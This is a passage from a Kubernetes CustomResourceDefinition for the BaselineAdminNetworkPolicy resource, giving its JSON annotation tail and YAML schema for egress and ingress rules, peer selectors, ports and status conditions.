to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"required":["namespaceSelector","podSelector"],"type":"object"}},"type":"object"},"maxItems":100,"minItems":1,"type":"array"}},"required":["action","to"],"type":"object","x-kubernetes-validations":[{"message":"networks/nodes peer cannot be set with namedPorts since there are no namedPorts for networks/nodes","rule":"!(self.to.exists(peer, has(peer.networks) || has(peer.nodes)) \u0026\u0026 has(self.ports) \u0026\u0026 self.ports.exists(port, has(port.namedPort)))"}]},"maxItems":100,"type":"array"},"ingress":{"description":"Ingress is the list of Ingress rules to be applied to the selected pods\nif they are not matched by any AdminNetworkPolicy or NetworkPolicy rules.\nA total of 100 Ingress rules will be allowed in each BANP instance.\nThe relative precedence of ingress rules within a single BANP object\nwill be determined by the order in which the rule is written.\nThus, a rule that appears at the top of the ingress rules\nwould take the highest precedence.\nBANPs with no ingress rules do not affect ingress traffic.\n\n\nSupport: Core","items":{"description":"BaselineAdminNetworkPolicyIngressRule describes an action to take on a particular\nset of traffic destined for pods selected by a BaselineAdminNetworkPolicy's\nSubject field.","properties":{"action":{"description":"Action specifies the effect this rule will have on matching traffic.\nCurrently the following actions are supported:\nAllow: allows the selected traffic\nDeny: denies the selected traffic\n\n\nSupport: Core","enum":["Allow","Deny"],"type":"string"},"from":{"description":"From is the list of sources whose traffic this rule applies to.\nIf any AdminNetworkPolicyIngressPeer matches the source of incoming\ntraffic then the specified action is applied.\nThis field must be defined and contain at least one item.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyIngressPeer defines an in-cluster peer to allow traffic from.\nExactly one of the selector pointers must be set for a given peer. If a\nconsumer observes none of its fields are set, they must assume an unknown\noption has been specified and fail closed.","maxProperties":1,"minProperties":1,"properties":{"namespaces":{"description":"Namespaces defines a way to select all pods within a set of Namespaces.\nNote that host-networked pods are not included in this type of peer.\n\n\nSupport: Core","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"pods":{"description":"Pods defines a way to select a set of pods in\na set of namespaces. Note that host-networked pods\nare not included in this type of peer.\n\n\nSupport: Core","properties":{"namespaceSelector":{"description":"NamespaceSelector follows standard label selector semantics; if empty,\nit selects all Namespaces.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"PodSelector is used to explicitly select pods within a namespace; if empty,\nit selects all Pods.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"required":["namespaceSelector","podSelector"],"type":"object"}},"type":"object"},"maxItems":100,"minItems":1,"type":"array"},"name":{"description":"Name is an identifier for this rule, that may be no more than 100 characters\nin length. This field should be used by the implementation to help\nimprove observability, readability and error-reporting for any applied\nBaselineAdminNetworkPolicies.\n\n\nSupport: Core","maxLength":100,"type":"string"},"ports":{"description":"Ports allows for matching traffic based on port and protocols.\nThis field is a list of ports which should be matched on\nthe pods selected for this policy i.e the subject of the policy.\nSo it matches on the destination port for the ingress traffic.\nIf Ports is not set then the rule does not filter traffic via port.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyPort describes how to select network ports on pod(s).\nExactly one field must be set.","maxProperties":1,"minProperties":1,"properties":{"namedPort":{"description":"NamedPort selects a port on a pod(s) based on name.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","type":"string"},"portNumber":{"description":"Port selects a port on a pod(s) based on number.\n\n\nSupport: Core","properties":{"port":{"description":"Number defines a network port value.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"}},"required":["port","protocol"],"type":"object"},"portRange":{"description":"PortRange selects a port range on a pod(s) based on provided start and end\nvalues.\n\n\nSupport: Core","properties":{"end":{"description":"End defines a network port that is the end of a port range, the End value\nmust be greater than Start.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"},"start":{"description":"Start defines a network port that is the start of a port range, the Start\nvalue must be less than End.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"}},"required":["end","start"],"type":"object"}},"type":"object"},"maxItems":100,"type":"array"}},"required":["action","from"],"type":"object"},"maxItems":100,"type":"array"},"subject":{"description":"Subject defines the pods to which this BaselineAdminNetworkPolicy applies.\nNote that host-networked pods are not included in subject selection.\n\n\nSupport: Core","maxProperties":1,"minProperties":1,"properties":{"namespaces":{"description":"Namespaces is used to select pods via namespace selectors.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"pods":{"description":"Pods is used to select pods via namespace AND pod selectors.","properties":{"namespaceSelector":{"description":"NamespaceSelector follows standard label selector semantics; if empty,\nit selects all Namespaces.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"PodSelector is used to explicitly select pods within a namespace; if empty,\nit selects all Pods.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"required":["namespaceSelector","podSelector"],"type":"object"}},"type":"object"}},"required":["subject"],"type":"object"},"status":{"description":"Status is the status to be reported by the implementation.","properties":{"conditions":{"items":{"description":"Condition contains details for one aspect of the current state of this API Resource.\n---\nThis struct is intended for direct use as an array at the field path .status.conditions.  For example,\n\n\n\ttype FooStatus struct{\n\t    // Represents the observations of a foo's current state.\n\t    // Known .status.conditions.type are: \"Available\", \"Progressing\", and \"Degraded\"\n\t    // +patchMergeKey=type\n\t    // +patchStrategy=merge\n\t    // +listType=map\n\t    // +listMapKey=type\n\t    Conditions []metav1.Condition `json:\"conditions,omitempty\" patchStrategy:\"merge\" patchMergeKey:\"type\" protobuf:\"bytes,1,rep,name=conditions\"`\n\n\n\t    // other fields\n\t}","properties":{"lastTransitionTime":{"description":"lastTransitionTime is the last time the condition transitioned from one status to another.\nThis should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.","format":"date-time","type":"string"},"message":{"description":"message is a human readable message indicating details about the transition.\nThis may be an empty string.","maxLength":32768,"type":"string"},"observedGeneration":{"description":"observedGeneration represents the .metadata.generation that the condition was set based upon.\nFor instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date\nwith respect to the current state of the instance.","format":"int64","minimum":0,"type":"integer"},"reason":{"description":"reason contains a programmatic identifier indicating the reason for the condition's last transition.\nProducers of specific condition types may define expected values and meanings for this field,\nand whether the values are considered a guaranteed API.\nThe value should be a CamelCase string.\nThis field may not be empty.","maxLength":1024,"minLength":1,"pattern":"^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$","type":"string"},"status":{"description":"status of the condition, one of True, False, Unknown.","enum":["True","False","Unknown"],"type":"string"},"type":{"description":"type of condition in CamelCase or in foo.example.com/CamelCase.\n---\nMany .condition.type values are consistent across resources like Available, but because arbitrary conditions can be\nuseful (see .node.status.conditions), the ability to deconflict is important.\nThe regex it matches is (dns1123SubdomainFmt/)?(qualifiedNameFmt)","maxLength":316,"pattern":"^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$","type":"string"}},"required":["lastTransitionTime","message","reason","status","type"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["type"],"x-kubernetes-list-type":"map"}},"required":["conditions"],"type":"object"}},"required":["metadata","spec"],"type":"object","x-kubernetes-validations":[{"message":"Only one baseline admin network policy with metadata.name=\"default\" can be created in the cluster","rule":"self.metadata.name == 'default'"}]}},"served":true,"storage":true,"subresources":{"status":{}}}]},"status":{"acceptedNames":{"kind":"","plural":""},"conditions":null,"storedVersions":null}}
      policy.networking.k8s.io/bundle-version: v0.1.1
      policy.networking.k8s.io/channel: experimental
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 1
    name: baselineadminnetworkpolicies.policy.networking.k8s.io
    resourceVersion: "6820748"
    uid: e3ea7e27-b8d1-4d41-af20-45e4b78a3eda
  spec:
    conversion:
      strategy: None
    group: policy.networking.k8s.io
    names:
      kind: BaselineAdminNetworkPolicy
      listKind: BaselineAdminNetworkPolicyList
      plural: baselineadminnetworkpolicies
      shortNames:
      - banp
      singular: baselineadminnetworkpolicy
    scope: Cluster
    versions:
    - additionalPrinterColumns:
      - jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: |-
            BaselineAdminNetworkPolicy is a cluster level resource that is part of the
            AdminNetworkPolicy API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Specification of the desired behavior of BaselineAdminNetworkPolicy.
              properties:
                egress:
                  description: |-
                    Egress is the list of Egress rules to be applied to the selected pods if
                    they are not matched by any AdminNetworkPolicy or NetworkPolicy rules.
                    A total of 100 Egress rules will be allowed in each BANP instance.
                    The relative precedence of egress rules within a single BANP object
                    will be determined by the order in which the rule is written.
                    Thus, a rule that appears at the top of the egress rules
                    would take the highest precedence.
                    BANPs with no egress rules do not affect egress traffic.


                    Support: Core
                  items:
                    description: |-
                      BaselineAdminNetworkPolicyEgressRule describes an action to take on a particular
                      set of traffic originating from pods selected by a BaselineAdminNetworkPolicy's
                      Subject field.
                      <network-policy-api:experimental:validation>
                    properties:
                      action:
                        description: |-
                          Action specifies the effect this rule will have on matching traffic.
                          Currently the following actions are supported:
                          Allow: allows the selected traffic
                          Deny: denies the selected traffic


                          Support: Core
                        enum:
                        - Allow
                        - Deny
                        type: string
                      name:
                        description: |-
                          Name is an identifier for this rule, that may be no more than 100 characters
                          in length. This field should be used by the implementation to help
                          improve observability, readability and error-reporting for any applied
                          BaselineAdminNetworkPolicies.


                          Support: Core
                        maxLength: 100
                        type: string
                      ports:
                        description: |-
                          Ports allows for matching traffic based on port and protocols.
                          This field is a list of destination ports for the outgoing egress traffic.
                          If Ports is not set then the rule does not filter traffic via port.
                        items:
                          description: |-
                            AdminNetworkPolicyPort describes how to select network ports on pod(s).
                            Exactly one field must be set.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namedPort:
                              description: |-
                                NamedPort selects a port on a pod(s) based on name.


                                Support: Extended


                                <network-policy-api:experimental>
                              type: string
                            portNumber:
                              description: |-
                                Port selects a port on a pod(s) based on number.


                                Support: Core
                              properties:
                                port:
                                  description: |-
                                    Number defines a network port value.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                              required:
                              - port
                              - protocol
                              type: object
                            portRange:
                              description: |-
                                PortRange selects a port range on a pod(s) based on provided start and end
                                values.


                                Support: Core
                              properties:
                                end:
                                  description: |-
                                    End defines a network port that is the end of a port range, the End value
                                    must be greater than Start.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                                start:
                                  description: |-
                                    Start defines a network port that is the start of a port range, the Start
                                    value must be less than End.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                              required:
                              - end
                              - start
                              type: object
                          type: object
                        maxItems: 100
                        type: array
                      to:
                        description: |-
                          To is the list of destinations whose traffic this rule applies to.
                          If any AdminNetworkPolicyEgressPeer matches the destination of outgoing
                          traffic then the specified action is applied.
                          This field must be defined and contain at least one item.


                          Support: Core
                        items:
                          description: |-
                            AdminNetworkPolicyEgressPeer defines a peer to allow traffic to.
                            Exactly one of the selector pointers must be set for a given peer. If a
                            consumer observes none of its fields are set, they must assume an unknown
                            option has been specified and fail closed.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namespaces:
                              description: |-
                                Namespaces defines a way to select all pods within a set of Namespaces.
                                Note that host-networked pods are not included in this type of peer.


                                Support: Core
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                            networks:
                              description: |-
                                Networks defines a way to select peers via CIDR blocks.
                                This is intended for representing entities that live outside the cluster,
                                which can't be selected by pods, namespaces and nodes peers, but note
                                that cluster-internal traffic will be checked against the rule as
                                well. So if you Allow or Deny traffic to `"0.0.0.0/0"`, that will allow
                                or deny all IPv4 pod-to-pod traffic as well. If you don't want that,
                                add a rule that Passes all pod traffic before the Networks rule.


                                Each item in Networks should be provided in the CIDR format and should be
                                IPv4 or IPv6, for example "10.0.0.0/8" or "fd00::/8".


                                Networks can have upto 25 CIDRs specified.


                                Support: Extended


                                <network-policy-api:experimental>
                              items:
                                description: |-
                                  CIDR is an IP address range in CIDR notation (for example, "10.0.0.0/8" or "fd00::/8").
                                  This string must be validated by implementations using net.ParseCIDR
                                  TODO: Introduce CEL CIDR validation regex isCIDR() in Kube 1.31 when it is available.
                                maxLength: 43
                                type: string
                                x-kubernetes-validations:
                                - message: CIDR must be either an IPv4 or IPv6 address.
                                    IPv4 address embedded in IPv6 addresses are not
                                    supported
                                  rule: self.contains(':') != self.contains('.')
                              maxItems: 25
                              minItems: 1
                              type: array
                              x-kubernetes-list-type: set
                            nodes:
                              description: |-
                                Nodes defines a way to select a set of nodes in
                                the cluster. This field follows standard label selector
                                semantics; if present but empty, it selects all Nodes.


                                Support: Extended


                                <network-policy-api:experimental>
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                            pods:
                              description: |-
                                Pods defines a way to select a set of pods in
                                a set of namespaces. Note that host-networked pods
                                are not included in this type of peer.


                                Support: Core
                              properties:
                                namespaceSelector:
                                  description: |-
                                    NamespaceSelector follows standard label selector semantics; if empty,
                                    it selects all Namespaces.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                                podSelector:
                                  description: |-
                                    PodSelector is used to explicitly select pods within a namespace; if empty,
                                    it selects all Pods.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                              required:
                              - namespaceSelector
                              - podSelector
                              type: object
                          type: object
                        maxItems: 100
                        minItems: 1
                        type: array
                    required:
                    - action
                    - to
                    type: object
                    x-kubernetes-validations:
                    - message: networks/nodes peer cannot be set with namedPorts since
                        there are no namedPorts for networks/nodes
                      rule: '!(self.to.exists(peer, has(peer.networks) || has(peer.nodes))
                        && has(self.ports) && self.ports.exists(port, has(port.namedPort)))'
                  maxItems: 100
                  type: array
                ingress:
                  description: |-
                    Ingress is the list of Ingress rules to be applied to the selected pods
                    if they are not matched by any AdminNetworkPolicy or NetworkPolicy rules.
                    A total of 100 Ingress rules will be allowed in each BANP instance.
                    The relative precedence of ingress rules within a single BANP object
                    will be determined by the order in which the rule is written.
                    Thus, a rule that appears at the top of the ingress rules
                    would take the highest precedence.
                    BANPs with no ingress rules do not affect ingress traffic.


                    Support: Core
                  items:
                    description: |-
                      BaselineAdminNetworkPolicyIngressRule describes an action to take on a particular
                      set of traffic destined for pods selected by a BaselineAdminNetworkPolicy's
                      Subject field.
                    properties:
                      action:
                        description: |-
                          Action specifies the effect this rule will have on matching traffic.
                          Currently the following actions are supported:
                          Allow: allows the selected traffic
                          Deny: denies the selected traffic


                          Support: Core
                        enum:
                        - Allow
                        - Deny
                        type: string
                      from:
                        description: |-
                          From is the list of sources whose traffic this rule applies to.
                          If any AdminNetworkPolicyIngressPeer matches the source of incoming
                          traffic then the specified action is applied.
                          This field must be defined and contain at least one item.


                          Support: Core
                        items:
                          description: |-
                            AdminNetworkPolicyIngressPeer defines an in-cluster peer to allow traffic from.
                            Exactly one of the selector pointers must be set for a given peer. If a
                            consumer observes none of its fields are set, they must assume an unknown
                            option has been specified and fail closed.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namespaces:
                              description: |-
                                Namespaces defines a way to select all pods within a set of Namespaces.
                                Note that host-networked pods are not included in this type of peer.


                                Support: Core
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                            pods:
                              description: |-
                                Pods defines a way to select a set of pods in
                                a set of namespaces. Note that host-networked pods
                                are not included in this type of peer.


                                Support: Core
                              properties:
                                namespaceSelector:
                                  description: |-
                                    NamespaceSelector follows standard label selector semantics; if empty,
                                    it selects all Namespaces.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                                podSelector:
                                  description: |-
                                    PodSelector is used to explicitly select pods within a namespace; if empty,
                                    it selects all Pods.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
